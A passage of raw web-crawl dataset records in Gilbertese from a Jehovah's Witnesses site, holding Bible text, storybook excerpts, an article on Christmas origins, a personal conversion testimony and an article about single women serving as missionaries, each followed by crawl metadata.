ae korakora+ ae uti imwin nimakin te wain ae bati. 66 Ao e kakioianako ni kaokiia taani kakaitaraa,+E kabwainrangia n aki toki. 67 E rawa nakon ana umwanrianna Ioteba,Ao e aki rinea te baronga ae Eberaim. 68 Ma e rinea te baronga ae Iuta,+Ae te Maunga ae Tion are e tangiria.+ 69 E karaoa ana tabo ae tabu bwa e na teimatoa n aroni karawa,*+ E kateimatoa n aki toki n aron te aonnaba.+ 70 E rinea Tawita+ ae ana toroAo e anaia man taian oo n tiibu,+ 71 Man tararuaakia tiibu aine aika kammamma,E karikia bwa te tia kawakintiibu i aoia tibun Iakoba, ake ana aomata.+ Ao i aoia tibun Iteraera ake tibwangana.+ 72 E kawakinia n ai aroia tiibu ma etin nanona,+Ao e kaiririia ni baina aika mwaatai.+\n^ Ke, \"kaetieti.\"\n^ Ebera, \"aki tauraoi.\"\n^ Ke, \"anera.\"\n^ Ke, \"te tia Irantangaia.\"\n^ Ebera, \"rabuni.\"\n^ Ke, \"kammaraka nanon.\"\n^ Ebera, \"baina.\"\n^ Ebera, \"manga kabooia.\"\n^ Ke tao, \"te kabuebue ae korakora.\"\n^ Ke, \"kauekea te tauaninne.\"\n^ Ebera, \"Ao a aki kamoamoaaki ana ataeinnaine aika tuai ni boo ma mwaane.\"\n^ Ebera, \"E katea ana tabo ae tabu n aron te tabo ae rietata.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/78\/","date":"2018-01-19T02:28:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00775.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1409,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.446,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E moanaki rongorongon te Baibara man te karikibwai, are ti a kona n nori iai baika tamaroa ake e karikii Iehova i karawa ao n te aonnaba. Ngkana te karo ngkoe, buoka natim bwa e na nora kamimin kakaokoron te karikibwai. Katuruturua nakoina aron te Atua ni karikiia aomata bwa a na rianako riki aroia nakoia maan, ike ti a anganaki iai te konabwai n taetae, n iaiango, ni karaoi bwaai, n anene, ao n tataro. Karikirakea te nano ni kakaitau irouna ibukini mwaakan Iehova ma wanawanana, ao ai moarara riki ana tangira ibukin ana karikibwai ni kabane ao ai uana naba ma ngaira n tatabemanira nako.\nN TE MWAKORO AEI\nREIREI 1\nE taekinaki n te Baibara bwa e karika karawa ma te aonnaba te Atua. Ma ko ataia bwa antai te anera are e karikia imwaini karikaia aomata ao bwaai ni kabane?\nREIREI 2\nE karika te moani mwaane ao n aine te Atua ao e katikuia n te onnaroka are i Eten. E tangiriia bwa a na kariki ao ni karika te aonnaba ni kabutaa bwa te bwaretaiti.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/1\/","date":"2018-01-21T01:59:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084889798.67\/warc\/CC-MAIN-20180121001412-20180121021412-00137.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":179,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.464,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KO KATEITEA baim nakoni kaain rarikim ngke ko mwananga. Imwina riki ao ko a ataia ae ngaia e a kamani mamatakuakiniko ma am utu. E katea naba baina nakoim ao n anoanoiko bwa ko na kawaria. E taku: \"I kona n titirakiniko? E aera ngkai kam rangi ni kaokoro\" Ko a manga titiraki ngkoe: \"Tera ae ko nanonna?\" E kaekako ni kangai: \"Ngkami Ana tia Kakoaua Iehova kee? Kam kaokoro ma aomata nako. Kam kaokoro ma kaain Aaro nako bwa kam aki bukamarui boong ni motirawa ao kam aki naba irekereke ma te waaki n tautaeka ao taiani buaka. Kam aki momoko ao titeboo ma a rangi n ataa te riai am utu. Bukin tera bwa kam rangi ni kaokoro n aaro aika rangi ni bati?\"\nKo ataia ae bon tii teuana te kaeka ibukin anne: Ti mena i aan ana kairiri ana Tautaeka n Uea te Atua. E teimatoa Iesu ni kaitiakira, kioina ngkai ngaia te Uea iai. E buokira bwa ti na toua mwini mwanekana bwa ti aonga n tei n okoro n te aonnaba ae buakaka aei. N te mwakoro aei ao ti na nora aron te Tautaeka n Uea iroun te Mesia ni kaitiakiia ana aomata te Atua ni kaineti ma te onimaki, te aroaro ni maiu ae riai, ao waakin aia botaki, bwa e aonga ni kamimitongaki Iehova.\nN TE MWAKORO AEI\nMWAKORO 10\nTera irekereken te Kakiritimati ma te kaibangaki?\nMWAKORO 11\nTaian ruu n tantani ao kawai n rin n te tembora ake n ana miitara Etekiera, iai nanoia ae onoti ibukia ana aomata te Atua ni moa man 1914.\nMWAKORO 12\nE taekinaki kaokoron te mangaongao ma te rau n te Baibara ao tiaki i marenana ma te aki mangaongao. Bukin tera? Ao tera rotakia Kristian ni boong aikai ni kaekaan anne?","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/uea-te-atua\/standards\/","date":"2018-01-17T00:03:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886758.34\/warc\/CC-MAIN-20180116224019-20180117004019-00601.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":296,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anene Nakon Iehova—Anene Aika Boou Ana Aomata te Atua Aika Okoro A kakawaki iroun Iehova natina n taamnei ao a kani karaoa ae e tangiria. Kakaitau Ibukin te Kaboomwi Te mwakuri n tangira ae te kabanea n tamaroa are kaotaki, are e kareana maiuna Iesu, e oti iai bwa ti riai ni kaitaua Iehova n aki toki.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/katangitang-anene\/Anene-Nakon-Iehova-Anene-Aika-Boou\/","date":"2018-01-16T09:46:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00443.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.202,"stopwords_ratio":0.491,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E a kaman aranaki te Kiritimati bwa aia toa Kristian are a bukamarua iai bungiakin Iesu. Ma e kamimi bwa a a kangaa naba angiini katei ake a karaoaki n te bukamaru aei, n irekereke ma bungiakin Iesu n te moantai.\nMa bon iai te otokaraki ibukin Santa Claus. Ae te aomata ae ataaki ni boong aikai bwa e kukukurei, e mainaina buaina, ao e ribaura tabana, are karioaki n 1931 bwa te bwai n anainano ae rangi n oromwaaka ibukin aia kambwana ni kamanging kaain Amerika Meang. N 1950 tabun ao tabeman kaaini Brazil a kataia n onea mwin Santa Claus ma Grandpa Indian ae kinaaki i abaia. Tera mwina? E taku te tia Rabakau ae Carlos E. Fantinatiaki bwa e aki tii tekenaki Granpa Indian iroun Santa Claus, ma \"e tekenaki naba te teei ae Iesu, ao e a riki Santa Claus bwa te iruwa n te bukamaru n Ritembwa 25.\" Ma otokaraki aika ai aron Santa Claus bon tii ngaiia aika karika te kangaanga ma te Kiritimati? Ibukini kaekaana ti na oki rikaaki nakon te waaki ni Kristian rimoa.\nE taekinaki n te Encyclopedia Britannica bwa \"n aia tai Kristian ake n te moan ao n te kauoua n tienture, ao e korakora kaitaraani bukamaruan aia rekenibong aomata ake a mate ibukin aia onimaki ke Iesu. Bukin tera? A iangoia Kristian bwa bukamaruan te rekenibong bon aia botaki beekan, ae te bwai ae riai n ribaaki. E bon aki taekinaki n te Baibara te bong are e bungiaki iai Iesu.\nE ngae ngke a kaitaraa te katei ae bukamaruan te rekenibong Kristian ake rimoa, ma n te kaaua n tienture C.E., ao te Aro ni Katorika e a bukamarua te Kiritimati. E kani kakorakoraa mwaakana te Aro aei ni kamauna te bwai n tutuki teuana, ae taotiran te Aro ni beekan i Rom ma aia toa ake a kakaraoi n tain te kamwaitoro. E kaotaki n te boki ae Christmas in America mairoun neiere Penne L. Restad, bwa ni katoa ririki ni moa man Ritembwa 17 nakon Tianuare 1, ao \"angia I-Rom a bukamaru, a takaakaro, a kukurei, a mwaati, ao a bukamarui tooa tabeua riki, bwa aia angakarea nakoia atuaia.\" Ma n Ritembwa 25, ao kaain Rom a bukamarua ana bongi ni bung Taai. Ma bukamaruan te Kiritimati n te bongi n namwakaina anne iroun te Aro ni Katorika, e a katikiia iai I-Rom aika bati bwa a na bukamarua ana bongi ni bung Iesu n oneani mwin ana bongi ni bung taai. E taekinaki n te boki ae Santa Claus, a Biography, mairoun teuare Gerry Bowler, bwa \"a bon teimatoa naba iai kaain Rom ni bukamarui aia toa n tain te kamwaitoro.\" Ni koauana, a \"boni kanikinaea te bong ae boou n te waaki nikawai.\"\nE teretere ngkanne bwa oin raoi te kangaanga ma bukamaruan te Kiritimati, e bon irekereke ma moan teina aika aki raraoi. E taekinna Stephen Nissenbaum n ana boki ae The Battle for Christmas, bwa te Kiritimati \"bon aia toa beekan are e a karikaki bwa te katei ni Kristian.\" Ngaia are te Kiritimati e bon aki karinea te Atua ma Natina are Iesu Kristo. Te koaua bwa e aki rangi ni kakawaki iangoan aei? E taku te Baibara: \"Te iraorao raa iraoraon te raoiroi ma te buakaka? Ke tera ae a ibuokanibwai iai te oota ma te rotongitong?\" (2 I-Korinto 6:14) N aroni boton te kai ae rikirake ma ni bwakee, ao ai aron naba te Kiritimati bwa \"e aki konaki ni kaetaki.\"","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/wp20151201\/katei-aika-irekereke-ma-te-kiritimati\/","date":"2018-01-16T10:02:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084886397.2\/warc\/CC-MAIN-20180116090056-20180116110056-00449.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":575,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N te tai are e ongo iai Barao bwa a a tia ni kitana Aikubita tibun Iteraera, e a bita nanona ibukini kanakoaia. E tua nakoia ana tia buaka ni kangai: 'Katauraoi au kaa ni buaka ni kabane, ao ti na nako ni kaeiia! Ti bon riai n aki kanakoia.' Ao e a nako ma ana aomata ni kaeiia tibun Iteraera.\nE kaiririia ana aomata Iehova n te nang n te ngaina ao n te ai n te bong. E kairiia nakon Taari ae Uraura ao e tuangia bwa a na katei aia umwanrianna.\nImwina riki, ao tibun Iteraera a a nora Barao ma ana taanga ni buaka ni kaeiia. A a mwane ibukina bwa a mena i marenan taari ma ana taanga ni buaka Aikubita. A tang nakoni Mote ni kangai: 'Ti nangi mate! E raoiroi riki ngke ko katikuira i Aikubita.' Ma e taku Mote: 'Tai maaku. Teei ao nora aron Iehova ni kamaiuira.' Tiaki bwa e onimakina raoi Iehova Mote?\nE tua Iehova nakoia tibun Iteraera bwa a na reitaanako mwanangaia. N te tairiki anne, ao Iehova e kamwainga te nang nako marenaia kaain Aikubita ma tibun Iteraera. E karooa aia itera kaain Aikubita, ma e kaotaa aia itera tibun Iteraera.\nE tuangaki Mote iroun Iehova bwa e na arora baina nako aon taari. Imwina, e karokoa Iehova te ang ae korakora bwa e na kare n uaa e ngaina. E a bwenaua iai taari, ao e a reke te kawai n nakonako i nukana. A mwananga mirion ma mirion tibun Iteraera i aon te tano ae mwau, i marenan raan ake a a riki bwa te oo n te angaatai ao n te angamaing.\nA kaeiia tibun Iteraera ana taanga ni buaka Barao ni karokoa ae a a roko i kabin taari are mwau. Imwina, e a karokoa te maaku Iehova irouia kaain te taanga ni buaka aei. A a moanna ni bwaka wiran aia kaa ni buaka. A tatakarua tautia ni kangai: 'Ti a kitana ikai! E boni buaka Iehova ibukia.'\nE taku Iehova nakoni Mote: 'Arora baim i aon taari.' N te tai naba anne, a a bwaro raan ake taian oo ao n rabunia kaain ana taanga ni buaka Aikubita. E mate Barao ma ana aomata ni kabane. Bon akea temanna ae maiu.\nN iteran taari are teuana, a neboa te Atua te koraki ae bati ma te anene aei: \"N na anene nakon Iehova bwa e rangi ni karietataaki. E tewenakoia aoti ma taan toka i aoia i taari.\" Ngke a anene aomata, ao a mwamwaie aine ma ni katang aia tamboriin. A rangi ni kukurei aomata nako bwa a a inaomata ni koaua ngkai.\n\"Ai ngaia ae ti rangi n ninikoria ao ti kangai: 'Te tia buokai Iehova, N na aki maaku. Tera ae e kona ni karaoia te aomata nakoiu?' \"—Ebera 13:6","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/4\/bwenauaan-taari-ae-uraura\/","date":"2018-01-22T20:56:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084891539.71\/warc\/CC-MAIN-20180122193259-20180122213259-00575.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":471,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.452,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E BUNGIAKI N: 1960\nABANA: BURANTI\nARONA RIMOA: E TAUTORONAKI N TE DRUG AO E AKI KARINEIA AINE\nAROU RIMOA:\nI bungiaki i Mulhouse, i Buranti i meangimainiku, n te kaawa ae uarereke ae ataaki bwa a rangi n iowawa kaaina. Te bwai ae I ururingnga mani uarerekeu bon te kauntaeka ae korakora i nanon utu nako. A kamangoraki aine n ara utu, ao a aki bati ni kaomataaki irouia mwaane. I noria bwa nnen te aine bon te umwa ni kuuka, ao e na tararuaa buuna ma natina.\nE bati au kangaanga ngke I uarereke. Ngke ai tebwina au ririki ao e a mate tamau ibukin te moi manging ae riao. Nimaua te ririki imwina ao e a manga bakabureia tariu temanna ae ikawai riki nakoiu. N te ririki naba anne ao I a nora tiringan te aomata temanna n aia tai ni kauntaeka n aia utu ao I rangi ni buannano iai. A reireinai au utu aroni kamanenaan te biti ao te katii, ao I riai naba n un ngkana e riai. E buretorou ngke I kairake, ai ngaia are I a kaona rabwatau n te taitai ao ni kabatiaa te manging.\nNgke 16 au ririki ao I kona n nima 10 nakon 15 te bwatoro ni biia ni katoabong, ao I a waekoa naba ni kamanena te drug. Ibukin aroarou aika bubuaka akanne, I a riki bwa te tia kaboonakoi mwakoro ni biti ao te tia kimoa. I a kamani kakabureaki imwaini koron 17 au ririki. Ao mwaitini kabureakiu ibukin te kimoa ao te iowawa, bon 18.\nE a buakaka riki anuani maiuu ngke ai tibwa 20 tabun au ririki. I kona ni mokona 20 te mwaruana n te bongina ao ni kabongana naba te aeka drug teuana ae te heroin ao bwaai riki tabeua aika taburoroko. I a tia ni kuri ni mate tabeua te tai imwini kabonganaan te drug n te aro ae riao. I iokinibwaia te drug ai ngaia are I a boni uaua biti naba ke katii n taai nako. N te taina I katiia te aomata temanna, ma e tekeraoi bwa e teke bwaakoron roona ao e tuanako! Ngke 24 au ririki ao e a mate tinau, ao e a rangi ni korakora riki iai uniu. Ngkana a norai aomata n nakonako ni kainetiia, ao a maaku ao a kararoaia. I a boni kakamatawarikaki naba ni katoa wikeen ibukin te un, ke n te onnaoraki bwa e ituaki ikoakiu.\nI mare ngke 28 au ririki. Eng, I bon aki karinea buu. I kakaunna ma n ororeia. Kaanga tiaki taanga ngaira. Ngai irou e rangi n tau ae I a karerekei naba ana bwai ni katamaroa aika bobuaka mani baika I kimoai. Ma e a tii riki naba te bwai teuana ae I aki kantaningaia. E a reirei buu n te Baibara ma Ana Tia Kakoaua Iehova. Imwin ana moan reirei, ao e a katoka naba te moko, ao e rawa ni butimwaea te mwane are I kimoaia, ao e a kaoki naba ana bwai ni katamaroa ake a bobuaka. I rangi n un iai ngaia are I a ribaia n reirei n te Baibara, ao I kona n ae I a kabubua naba te moko nako matana. I kamaamaea naba i mataia kaain rarikira.\nN te tairiki teuana ngke I a koro ni manging ao I a kaurarakea ara auti. E kamaiuai buu bwa N na aki bue, ao e kamaiua naba natira te aine ae nimaua ana ririki. Ngke e a toki angin nimau, ao I a taonakinako n te uringaaba. I namakinna i nanou ae e nang bon aki kani kabwaraa au bure te Atua. I uringa naba ana taeka te mitinare are e taku bwa a na bwaka i moone aika buakaka. E taku naba au taokita are buokai ni kamarurunga au iango: \"E a taonako am mwangko! Ai akea riki buokam.\"\nE BITA MAIUU TE BAIBARA:\nImwin uraraken ara auti, ao ti a maeka i rarikia ana karo buu. Ngke a roko taani Kakoaua ao I a titirakinia, \"E kona te Atua ni kabwarai au bure?\" A kaota nakoiu 1 I-Korinto 6:9-11. A kaotaki ni kiibu akanne baike e ribai te Atua, ma e a manga reitaki ni kangai: \"Akanne aroia tabeman i buakomi ngkoa.\" I ataia man taeka akanne, bwa I kona naba ni bitaki. Imwina ao a karaua nanou taani Kakoaua ae e bon tangirai te Atua, ao a kaota nakoiu 1 Ioane 4:8. E unga nanou, ngaia are I a tuangia taani Kakoaua akekei bwa N na reirei n te Baibara uatai n te wiki, ao I a moana naba kaakaean te botaki. I katoatai n tataro nakon Iehova.\nI nanon teuana namwakaina ao I a motikia bwa N na katoka te drug ao te manging. I waekoa n namakinna ae kaanga e a boo te buaka i nanon rabwatau! I rotakibuaka n te nibwara n te bong, te maraki n atu, marakini mwatiretin rabwatau, ao ai aoraki riki tabeua imwini kaakan te drug ma te manging. Ma I namakinna naba ae e tautaua baiu Iehova ma ni kakorakoraai. Titeboo raoi au namakin ma te abotoro Bauro are e korea ae kangai ni kaineti ma buokana iroun te Atua: \"I konai bwaai ni kabane ni karaoi iroun teuare e anganai te korakora.\" (I-Biribi 4:13) Imwin tabeua te tai, I a katoka naba te moko.\nE aki tii katamaroaa maiuu te Baibara ma e kanakoraoa naba ara utu. E a bitaki aroarou nakoni buu. I a karinea riki, ao ni kabonganai taeka aika \"taiaoka\" ao \"ko rabwa.\" I a moanna naba n riki bwa te karo ni koaua nakon natiu. Imwin teuana au ririki n reirei n te Baibara, I a katabua maiuu nakon Iehova ao ni bwabetitoaki, ni kakairi n ana katoto buu.\nKAKABWAIAAU:\nI kakoauaa raoi bwa e kamanoaki maiuu mani booto n reirei aika n te Baibara. A kakoauaa naba au koraki aika tiaki taani kakoaua, bwa N na boni kamani mate mani kabonganaan taian drug n te aro ae riao, ke n te un.\nE korakora bitakin au utu man te reirei n te Baibara, are e a kaota nakoiu tabeu ngkai te buu te mwaane ngai ao te karo. (I-Ebeto 5:25; 6:4) Ti a katiteuanaaki n ara utu. I a aki ngkai karabuutina buu n te umwa ni kuuka, ma I a kukurei ni boutokaia ni kabwanina ana tai n uarongorongo. Ao ngaia naba e kukurei ni boutokaai n au beku ae unimwaanen te ekaretia.\nE rangi ni korakora rotakini maiuu man ana tangira ao ana nanoanga Iehova ae te Atua. I rangi ni kan tataekin aroarona nakoia aomata ake ai akea ae kona ni buokiia ni maiuia, kioina ngke a bati naba ngkoa aika iangoai n aron anne. I ataia ae iai mwaakan te Baibara ni buoka temanna ni karekea te maiu ae itiaki ao ae uaana. E aki tii reireinai te Baibara bwainan te tangira ao karineaia aomata, ma e reireinai naba arou ni karineai i bon irou.","id":"","dump":"CC-MAIN-2018-05","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2016-mei\/karineia-aine-ao-boni-ngai\/","date":"2018-01-19T02:14:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-05\/segments\/1516084887692.13\/warc\/CC-MAIN-20180119010338-20180119030338-00523.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1142,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.438,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A BATI taari aine aika akea buuia i buakoia taani Kakoaua aika ingainga nanoia aika beku n aaba ake e korakora riki iai kainnanoaia taan uarongorongoa te Tautaeka n Uea. A a tia ni beku tatabebwi te ririki n aaba tabeua tabeman i buakoia naakai. Tera are e kaungaia n ririki aika nako bwa a na mwaing nakon te aba ae ianena? Tera reireiaia n aia beku n aaba akanne? Tera aron rotakini maiuia iai? Ti a tia ni maroro ma tabeman taari aine ake a a maan ni karaoa aei. Ngkana te tari te aine ngkoe ae akea buum ao e korakora nanom ni kan uataboa te mwakuri ni minita ae rangi ni kakukurei aei, ti aki nanououa bwa ko na boni kakabwaiaaki man aia taeka. Ni koauana, a kona ni karekei kakabwaiaaia ana aomata te Atua man iaiangoan aia katoto.\nTE TOKANIKAI I AON RARAOMA NAKO\nKo iangoia bwa ko kona n tokanikai ngkana e angaraoi iroum te bwaiania n te aba ae ianena ngkai akea buum? E korakora raraoman Anita, ae ai 70 tabun ana ririki ibukin ana konabwai. E ikawairake neiei i Engiran ao e bwaiania ngke 18 ana ririki. E taku: \"I kan reireinia aomata taekan Iehova, ma n au iango, I aki kona ni beku n te aba teuana. I tuai man reiakina te taetae teuana ao I kakoauaa raoi bwa I aki kona n rabakau. Ngaia are I kubanrou n reken au beeba ni kakao nakon te Kuura ni Kireata. I mimi bwa ngaia e boni kona naba ni kaoaki te aomata ae akea arona n ai arou. Ma I a manga iangoa aei: 'Ngkana ngaia bwa e iangoai Iehova bwa I kona ni karaoia, N na kataia.' E riki aei 50 tabun te ririki n nako. Man te tai anne, I a tia ni beku bwa te mitinare i Tiaban.\" E reitia riki Anita ni kangai: \"N tabetai, I kukurei ao n ingainga ni kaungaia taari aine aika rooro n rikirake ni kangai: 'Nakomai bwa ti na kaai n uataboa te mwakuri ae te kabanea ni kaunga i buakoni mwakuri nako!' I kukurei ni kaotia bwa a bati ake a a tia ni karaoa aei.\"\nKAREKEAN TE NINIKORIA\nA bati taari aine ake a a tia ngkai ni beku n aaba tabeua ake a tabwara n te moantai ni mwaing nakon te aba ae ianena. A kangaa ni karekea te ninikoria ae a kainnanoia?\nE taku Maureen ae ai 60 tabun ana ririki ngkai: \"N au tai n ikawairake ao I kani karekea maiuu ae manena, ae N na buokiia iai tabemwaang.\" Ngke ai 20 ana ririki neiei, e a mwaing nako Quebec i Kanata, are e korakora riki iai kainnanoaia bwaiania. E taku: \"Imwina riki, I a kaoaki nakon te Kuura ni Kireata, ma I maaku ni mwaing nakon te aba ae I aki ataa tabuaiakana ae akea iai raoraou.\" E taku riki: \"I tabeaianga naba ngkana I a kitana tinau ae tabeakina tamau ae rangi n aoraki. A bati tairiki ake I tang ao n onnonia iai Iehova ibukin au kangaanga aikai. I maroroakini tabeaiangau aikai ma au karo, ao a kaumakai bwa N na butimwaea te kakao. I nora naba aia tangira kaain au ekaretia n aia boutoka nakoia au karo. N noran ana mwamwannano Iehova, I a buokaki iai n onimakinna ae e na kakawakinai naba. Ibukin anne, I a tauraoi ni mwananga!\" Ni moa man 1979, e a tia ni beku Maureen bwa te mitinare i Aberika Maeao i nanon 30 tabun te ririki. Ni boong aikai, e a tabe Maureen n tabeakina tinana i Kanata, ma e bon teimatoa naba ni beku bwa te tibeetio bwaiania. E ururingi ririki ake e beku ngkoa iai neiei n te aba teuana ao e taku: \"E kakatauraoi n taai nako Iehova baika I kainnanoi ao n te tai ae riai.\"\nE moana ana bwaiania i Aotiteria Wendy, ae ai 60 tabun ana ririki ngkai ngke tebwi tabun ana ririki. E taku: \"I rangi ni mamaamaa ao e kangaanga irou kataetaeaia aomata ake I aki kinaia. Ma I a rabakau ni maroro ma aomata n aekaia nako man te mwakuri ni bwaiania, ao e a rikirake au konabwai. Rimwi riki, ai akea au kangaanga n anne. E reke naba reireiau man te bwaiania bwa N na onimakina Iehova, ao I a moanna ni kukurei ni beku n te aba teuana. E kaoai naba te tari te aine ae akea buuna are e mitinare i Tiaban i nanon 30 tabun te ririki, bwa N na uarongorongo ma ngaia i nanon tenua te namwakaina. Ngke I mwakuri ma ngaia, e a kakorakoraaki iai ingaingan nanou ni kani mwaing nakon te aba teuana.\" N nukan 1980 tabun, e a mwaing Wendy nako Vanuatu, ae te abamwakoro ae tao 1,100 te maire (1,770 te kiromita) i mainikun Aotiteria.\nE teimatoa ni mena Wendy i Vanuatu, ao ngkai e a beku n te aobiti n rairai ae raroa ma te aobiti n tararua. E taku: \"I rangi ni kimwareirei n norani kurubu ao ekaretia aika kateaki n taabo aika raroanako. Bon te kakabwaia ae riaon ae I kona n taekinna ngkai I kona n ibuobuoki teutana n ana mwakuri Iehova n aaba aikai.\"\nBon te urekura bwaiania Kumiko, ae ai 60 tabun ana ririki ngkai, ae beku i Tiaban ngke e tuangnga raona ni bwaiania bwa a na mwaing nako Nepal. E taku neiei: \"E aki toki n tuangai aei ma I teimatoa n rawa. I boni maaka reiakinan te taetae ae boou ao karaoani bitaki n te aba ae boou. Iai naba au kangaanga ni karekean te mwane ae tau ibukini mwaingiu nakon te aba ae ianena. Ngke I bon tabe ni kaieiea bwa tera au motinnano, I a aitara naba ma te kabuanibwai n au rebwerebwe ao I a rin n te onnaoraki. Ni menau iai, I a iangoa aei: 'Tera ae kona n riki nakoiu imwina? E kona n reke aorakiu ae kakaiaki ao N nang aki kona n nako ni bwaiania n te aba teuana. I aki kona ni beku n te aba teuana i nanon teuana te ririki?' I tataro ma nanou ni kabane nakon Iehova ibukini buokau bwa N na mwaing.\" Imwin otinakoni Kumiko man te onnaoraki, e a nako Nepal, ao imwina riki e a mwaing nako iai ma raona ni bwaiania.\nE taku Kumiko ngke e ururingi ana ririki ni mwakuri ake e kaania tebwina i Nepal: \"A bwenaua n aron Taari ae Uraura au kangaanga ake I raraomaeakin. I a rangi ni kukurei ngke I nako ni beku n te tabo are e korakora riki iai kainnanoan te ibuobuoki. N angiin te tai, ngkana I tataekina te rongorongo man te Baibara n te auti teuana, a roko naba n ongora niman ke onoman kaain rarikia. A bubutiiai naba ataei aika uarereke bwa N na angania te turaeki ae taekan te Baibara. E kakukurei te uarongorongo n te aono aei bwa a kan ongongora kaaina.\"\nTE TOKANIKAI I AONI KANGAANGA\nTi aki mimi bwa a kaaitara ma kangaanga taari aine aika akea buuia aika ninikoria ake ti maroro ma ngaiia. Ma tera aroia n tokanikai iai?\nE taku Diane mai Kanata: \"N te moantai, I namakinna bwa e kangaanga te raurenako ma au utu.\" Ai tibwa 60 tabun ana ririki ngkai neiei ao e mitinare i Ivory Coast (ae Côte d'Ivoire ngkai) i nanon 20 te ririki. E taku: \"I bubutiia Iehova bwa e na buokai n tangiriia aomata ake n au aono are I mwiokoaki iai. E kabwarabwaraa nakoira temanna i buakoia au tia reirei i Kireata, ae Brother Jack Redford, bwa n te moantai ti na bae ni karawawataaki ke ni kubanrou ni baika riki n ara aono, ao riki ngkana ti a maiu ni kainnano. Ma e a manga taku: 'Tai iangoa te maiu ni kainnano, ma tarai ubuia ao mataia aomata. Taratarai aroia ngkana a ongoraei koaua man te Baibara.' I karaoa anne ao I kakabwaiaaki iai! Ngkana I tibwaanako te rongorongo ae karaunano ibukin te Tautaeka n Uea, I kona n noriia bwa a mata ni kukurei!\" Tera riki are e buoka Diane ni karaoi bitaki bwa e aonga ni beku n te aba teuana? \"I karekea au iraorao ae kaan ma aomata ake I reirei n te Baibara ma ngaiia ao I namakina te kimwareirei ae bati ngke a a riki bwa ana toro Iehova aika kakaonimaki. E riki mwiokoau bwa mwengau. A a reke tinau ma tamau, mwaaneu ao tariu, n aron are e beritanna Iesu.\"\nAnne ae ngkai ai 40 tabun ana ririki, e beku i Atia n te aba ae e katabuakaki iai ara mwakuri. E taku: \"I nanon ririki ake I mwakuri iai n taabo aika kakaokoro, I maeka ma taari aine aika rangi ni kaokoro aia katei ao anuaia ma ngai. N tabetai, e a reke iai te aki ota raoi ao te marakinnano. Ngkana e riki anne, I kataia ni kaaniai riki ma ngaiia bwa I aonga n ota raoi riki n aia katei. I kakorakoraai ni kaotiota riki au tangira ao te iango ae raoiroi nakoia. I kukurei bwa a reke uaa aika raraoi man au kakorakora akanne ao a a bati raoraou ake a buokai n nanomwaaka ni 